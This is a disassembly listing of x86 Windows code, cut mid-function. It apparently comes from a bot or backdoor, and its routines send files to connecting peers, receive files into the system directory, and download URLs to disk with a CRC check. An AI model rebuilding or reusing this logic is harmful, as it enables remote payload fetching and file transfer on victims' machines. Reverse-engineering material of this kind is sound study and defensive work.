		add	edi, 8
		cmp	edi, offset unk_428C30
		jl	short loc_409A55
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409A42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409AB2	proc near		; CODE XREF: sub_409AB2+16j
					; DATA XREF: sub_40C2D0+4B7o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_409A42
		pop	ecx
		push	dword_428C10
		call	ds:dword_41F050	; Sleep
		jmp	short sub_409AB2
sub_409AB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_409ACA	proc near		; CODE XREF: sub_409B05+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_409AFF
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_409AE3:				; CODE XREF: sub_409ACA+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_41F254[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_409AE3
		pop	edi
		pop	ebx


loc_409AFF:				; CODE XREF: sub_409ACA+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_409ACA	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B05	proc near		; CODE XREF: sub_40A3AD+271p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_413F0B
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_414F8F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_409B54


loc_409B2A:				; CODE XREF: sub_409B05+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_409B58
		inc	ebx
		push	ebx
		push	esi
		call	sub_4157BF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409B54
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_414E87
		add	esp, 10h
		jmp	short loc_409B2A
; ---------------------------------------------------------------------------


loc_409B54:				; CODE XREF: sub_409B05+23j
					; sub_409B05+39j
		xor	eax, eax
		jmp	short loc_409B73
; ---------------------------------------------------------------------------


loc_409B58:				; CODE XREF: sub_409B05+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_409ACA
		push	esi
		mov	ebx, eax
		call	sub_413F7F
		push	edi
		call	sub_414E31
		add	esp, 10h
		mov	eax, ebx


loc_409B73:				; CODE XREF: sub_409B05+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409B05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B77	proc near		; CODE XREF: sub_409BFD+33p
					; sub_40A160+BFp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_44CD58	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_409BF3
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_44CCDC	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_44CD18	; inet_addr
		cmp	eax, esi
		jnz	short loc_409BD8
		push	[ebp+arg_0]
		call	dword_44CD5C	; gethostbyname
		test	eax, eax
		jz	short loc_409BF3
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_409BD8:				; CODE XREF: sub_409B77+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_44CC88	; connect
		cmp	eax, esi
		jnz	short loc_409BF7
		push	edi
		call	dword_44CD70	; closesocket


loc_409BF3:				; CODE XREF: sub_409B77+1Bj
					; sub_409B77+58j
		mov	eax, esi
		jmp	short loc_409BF9
; ---------------------------------------------------------------------------


loc_409BF7:				; CODE XREF: sub_409B77+73j
		mov	eax, edi


loc_409BF9:				; CODE XREF: sub_409B77+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_409B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BFD	proc near		; DATA XREF: sub_40CC09+A76o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_409B77
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_409C90
		lea	eax, [ebp+var_11B4]
		push	offset unk_428CB4
		push	eax
		call	sub_413812
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_409C73
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40B2B5
		add	esp, 14h


loc_409C73:				; CODE XREF: sub_409BFD+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_409833
		push	[ebp+var_10]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:off_41F040


loc_409C90:				; CODE XREF: sub_409BFD+3Fj
		push	offset byte_438A10
		push	ebx
		call	sub_4090ED
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_409CFB
		lea	eax, [ebp+var_11B4]
		push	offset unk_428C74
		push	eax
		call	sub_413812
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_409CD7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40B2B5
		add	esp, 14h


loc_409CD7:				; CODE XREF: sub_409BFD+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_409833
		pop	ecx
		push	ebx
		call	dword_44CD70	; closesocket
		push	[ebp+var_10]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	ds:off_41F040


loc_409CFB:				; CODE XREF: sub_409BFD+A3j
		push	64h
		call	ds:dword_41F050	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_409D0A:				; CODE XREF: sub_409BFD+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_44CCF4	; recv
		test	eax, eax
		jle	short loc_409D67
		lea	eax, [ebp+var_11B4]
		push	offset asc_4253FC ; "\n"
		push	eax
		call	sub_414FC0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_408ED5
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_409D67
		push	64h
		call	ds:dword_41F050	; Sleep
		push	7
		call	sub_413506
		test	eax, eax
		pop	ecx
		jnz	short loc_409D0A


loc_409D67:				; CODE XREF: sub_409BFD+130j
					; sub_409BFD+154j
		lea	eax, [ebp+var_11B4]
		push	offset unk_428C30
		push	eax
		call	sub_413812
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_409D9A
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40B2B5
		add	esp, 14h


loc_409D9A:				; CODE XREF: sub_409BFD+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_409833
		pop	ecx
		push	ebx
		call	dword_44CD70	; closesocket
		push	[ebp+var_10]
		call	sub_4135DA
		pop	ecx
		push	edi
		call	ds:off_41F040
sub_409BFD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DBE	proc near		; DATA XREF: sub_40CC09+423Bo

var_904		= byte ptr -904h
var_504		= byte ptr -504h
var_400		= dword	ptr -400h
var_3FC		= dword	ptr -3FCh
var_2FC		= byte ptr -2FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 904h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_44CD58	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_409E0C
		push	offset unk_428E48
		jmp	loc_409FC5
; ---------------------------------------------------------------------------


loc_409E0C:				; CODE XREF: sub_409DBE+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_44CCDC	; ntohs
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_44CD08	; bind
		test	eax, eax
		jz	short loc_409E4A
		push	offset unk_428E10
		jmp	loc_409FC5
; ---------------------------------------------------------------------------


loc_409E4A:				; CODE XREF: sub_409DBE+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_44CC84	; getsockname
		push	[ebp+var_2E]
		call	dword_44CC28	; ntohs
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_413E90
		pop	ecx


loc_409E7C:				; CODE XREF: sub_409DBE+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_409E8F
		push	5Fh
		pop	eax
		jmp	short loc_409E92
; ---------------------------------------------------------------------------


loc_409E8F:				; CODE XREF: sub_409DBE+CAj
		movsx	eax, al


loc_409E92:				; CODE XREF: sub_409DBE+CFj
		mov	[ebp+ecx+var_504], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_413E90
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_409E7C
		push	ebx
		push	edi
		call	dword_44CD04	; listen
		test	eax, eax
		jz	short loc_409EC5
		push	offset unk_428CB4
		jmp	loc_409FC5
; ---------------------------------------------------------------------------


loc_409EC5:				; CODE XREF: sub_409DBE+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	ds:dword_41F05C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_409EEF
		push	offset unk_428DE0
		jmp	loc_409FC5
; ---------------------------------------------------------------------------


loc_409EEF:				; CODE XREF: sub_409DBE+125j
		push	esi
		push	eax
		call	ds:off_41F074
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_408A5D
		pop	ecx
		push	eax
		call	dword_44CD18	; inet_addr
		push	eax
		call	dword_44CCD8	; ntohl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	offset dword_428DC8
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_2FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40B2B5
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_400]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_3FC], edi
		mov	[ebp+var_400], ebx
		call	dword_44CCC4	; select
		test	eax, eax
		jg	short loc_409F9F
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_428D9C
		push	eax
		push	[ebp+var_1FC]
		call	sub_40B2B5
		jmp	loc_40A0C3
; ---------------------------------------------------------------------------


loc_409F9F:				; CODE XREF: sub_409DBE+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_44CD6C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_409FD8
		push	offset unk_428D68


loc_409FC5:				; CODE XREF: sub_409DBE+49j
					; sub_409DBE+87j ...
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	loc_40A0C6
; ---------------------------------------------------------------------------


loc_409FD8:				; CODE XREF: sub_409DBE+200j
		push	edi
		call	dword_44CD70	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_40A08A
		mov	edi, 400h


loc_409FED:				; CODE XREF: sub_409DBE+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_409FFA
		mov	[ebp+var_4], eax


loc_409FFA:				; CODE XREF: sub_409DBE+237j
		push	edi
		lea	eax, [ebp+var_904]
		push	esi
		push	eax
		call	sub_413890
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	ds:off_41F094
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_904]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	ds:off_41F090
		push	esi
		lea	eax, [ebp+var_904]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_44CD28	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_904]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_44CCF4	; recv
		cmp	eax, ebx
		jl	loc_40A11F
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40A11F
		sub	[ebp+arg_0], eax
		jnz	loc_409FED
		mov	edi, [ebp+var_18]


loc_40A08A:				; CODE XREF: sub_409DBE+224j
		push	[ebp+var_8]
		call	ds:dword_41F058	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40A927
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2FC]
		push	offset unk_428D14
		push	eax
		call	sub_413812


loc_40A0C3:				; CODE XREF: sub_409DBE+1DCj
		add	esp, 14h


loc_40A0C6:				; CODE XREF: sub_409DBE+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40A0EB
		push	esi
		lea	eax, [ebp+var_2FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40B2B5
		add	esp, 14h


loc_40A0EB:				; CODE XREF: sub_409DBE+30Bj
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_409833
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40A103
		push	edi
		call	dword_44CD70	; closesocket


loc_40A103:				; CODE XREF: sub_409DBE+33Cj
		push	[ebp+var_1F8]
		call	dword_44CD70	; closesocket
		push	[ebp+var_58]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	ds:off_41F040


loc_40A11F:				; CODE XREF: sub_409DBE+2AFj
					; sub_409DBE+2BAj
		push	esi
		mov	esi, offset dword_428CE8
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40B2B5
		push	esi
		call	sub_409833
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_44CD70	; closesocket
		push	[ebp+var_58]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	ds:off_41F040
sub_409DBE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A160	proc near		; DATA XREF: sub_40CC09+7B7o

var_13C4	= byte ptr -13C4h
var_3C4		= byte ptr -3C4h
var_2C0		= dword	ptr -2C0h
var_2B8		= byte ptr -2B8h
var_2A4		= byte ptr -2A4h
var_1A0		= byte ptr -1A0h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_10C		= byte ptr -10Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 13C4h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_2C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_3C4]
		push	104h
		push	eax
		call	ds:dword_41F0FC	; GetSystemDirectoryA
		lea	eax, [ebp+var_2A4]
		push	eax
		lea	eax, [ebp+var_3C4]
		push	eax
		lea	eax, [ebp+var_3C4]
		push	offset aSS_0	; "%s%s"
		push	eax
		call	sub_413812
		add	esp, 10h
		lea	eax, [ebp+var_3C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_41F05C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A1EA
		push	offset unk_428F44
		jmp	short loc_40A233
; ---------------------------------------------------------------------------


loc_40A1EA:				; CODE XREF: sub_40A160+81j
		push	eax
		call	ds:dword_41F058	; CloseHandle
		lea	eax, [ebp+var_3C4]
		push	offset off_428F40
		push	eax
		call	sub_414F8F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40A212
		push	offset unk_428F04
		jmp	short loc_40A233
; ---------------------------------------------------------------------------


loc_40A212:				; CODE XREF: sub_40A160+A9j
		push	[ebp+var_120]
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_409B77
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40A246
		push	offset unk_428ED0


loc_40A233:				; CODE XREF: sub_40A160+88j
					; sub_40A160+B0j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	loc_40A346
; ---------------------------------------------------------------------------


loc_40A246:				; CODE XREF: sub_40A160+CCj
		mov	esi, 1000h


loc_40A24B:				; CODE XREF: sub_40A160+151j
		push	esi
		lea	eax, [ebp+var_13C4]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_13C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_44CCF4	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A318
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40A2B3
		push	[ebp+var_4]
		lea	eax, [ebp+var_13C4]
		push	edi
		push	1
		push	eax
		call	sub_4158DF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_44CCD8	; ntohl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		jmp	short loc_40A24B
; ---------------------------------------------------------------------------


loc_40A2B3:				; CODE XREF: sub_40A160+11Bj
		lea	eax, [ebp+var_10C]
		push	offset dword_428CE8
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_10C]
		push	[ebp+var_118]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+var_2C0]
		call	sub_40B2B5
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_409833
		push	[ebp+var_4]
		call	sub_414E31
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_44CD70	; closesocket
		push	[ebp+var_11C]
		call	sub_4135DA
		pop	ecx
		push	1
		call	ds:off_41F040


loc_40A318:				; CODE XREF: sub_40A160+112j
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40A927
		push	eax
		lea	eax, [ebp+var_2A4]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_10C]
		push	offset unk_428E7C
		push	eax
		call	sub_413812
		add	esp, 1Ch


loc_40A346:				; CODE XREF: sub_40A160+E1j
		cmp	[ebp+var_114], ebx
		jnz	short loc_40A371
		push	ebx
		lea	eax, [ebp+var_10C]
		push	[ebp+var_118]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+var_2C0]
		call	sub_40B2B5
		add	esp, 14h


loc_40A371:				; CODE XREF: sub_40A160+1ECj
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_409833
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40A38C
		push	[ebp+var_4]
		call	sub_414E31
		pop	ecx


loc_40A38C:				; CODE XREF: sub_40A160+221j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40A39A
		push	[ebp+arg_0]
		call	dword_44CD70	; closesocket


loc_40A39A:				; CODE XREF: sub_40A160+22Fj
		push	[ebp+var_11C]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	ds:off_41F040
sub_40A160	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3AD	proc near		; DATA XREF: sub_40CC09+33AEo
					; sub_40CC09+3A22o

var_490		= qword	ptr -490h
var_484		= qword	ptr -484h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_38C		= byte ptr -38Ch
var_28C		= byte ptr -28Ch
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_17C		= dword	ptr -17Ch
var_178		= dword	ptr -178h
var_174		= dword	ptr -174h
var_170		= dword	ptr -170h
var_168		= dword	ptr -168h
var_15C		= dword	ptr -15Ch
var_13C		= dword	ptr -13Ch
var_138		= word ptr -138h
var_124		= byte ptr -124h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 410h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_410]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_38C]
		push	esi
		push	eax
		push	dword_44CC90
		call	dword_44CBFC	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40A881
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_28C]
		push	40000000h
		push	eax
		call	ds:dword_41F05C	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40A47D
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_124]
		push	offset unk_4291DC
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_174], esi
		jnz	short loc_40A45D
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		add	esp, 14h


loc_40A45D:				; CODE XREF: sub_40A3AD+8Bj
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		push	[ebp+var_18C]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:off_41F040


loc_40A47D:				; CODE XREF: sub_40A3AD+68j
		xor	edi, edi
		call	ds:dword_41F044	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_413F0B
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40A497:				; CODE XREF: sub_40A3AD+1CCj
		push	0FFh
		lea	eax, [ebp+var_124]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	[ebp+var_18]
		call	dword_44CC04	; InternetReadFile
		cmp	[ebp+var_178], esi
		jz	short loc_40A4DE
		push	[ebp+arg_0]
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_40A8F0
		pop	ecx
		pop	ecx


loc_40A4DE:				; CODE XREF: sub_40A3AD+11Ej
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_124]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	ds:dword_41F054	; WriteFile
		cmp	edi, ebx
		jnb	short loc_40A51C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40A506
		mov	eax, [ebp+arg_0]


loc_40A506:				; CODE XREF: sub_40A3AD+154j
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_4138F0
		add	esp, 0Ch


loc_40A51C:				; CODE XREF: sub_40A3AD+14Bj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_180], esi
		jz	short loc_40A52F
		cmp	edi, [ebp+var_180]
		ja	short loc_40A57F


loc_40A52F:				; CODE XREF: sub_40A3AD+178j
		cmp	[ebp+var_188], 1
		mov	eax, edi
		jz	short loc_40A54C
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		push	offset unk_429194
		jmp	short loc_40A55C
; ---------------------------------------------------------------------------


loc_40A54C:				; CODE XREF: sub_40A3AD+18Bj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		push	offset unk_429154


loc_40A55C:				; CODE XREF: sub_40A3AD+19Dj
		mov	eax, [ebp+var_18C]
		imul	eax, 134h
		add	eax, offset dword_452028
		push	eax
		call	sub_413812
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40A497


loc_40A57F:				; CODE XREF: sub_40A3AD+180j
		cmp	[ebp+var_180], esi
		mov	[ebp+var_14], 1
		jz	short loc_40A5E0
		cmp	edi, [ebp+var_180]
		jz	short loc_40A5E0
		push	[ebp+var_180]
		lea	eax, [ebp+var_124]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_429110
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		add	esp, 28h


loc_40A5E0:				; CODE XREF: sub_40A3AD+1DFj
					; sub_40A3AD+1E7j
		call	ds:dword_41F044	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_41F058	; CloseHandle
		push	[ebp+var_1C]
		call	sub_413F7F
		cmp	[ebp+var_17C], esi
		pop	ecx
		jz	short loc_40A676
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_409B05
		cmp	eax, [ebp+var_17C]
		pop	ecx
		jz	short loc_40A676
		push	[ebp+var_17C]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_124]
		push	offset unk_4290D8
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
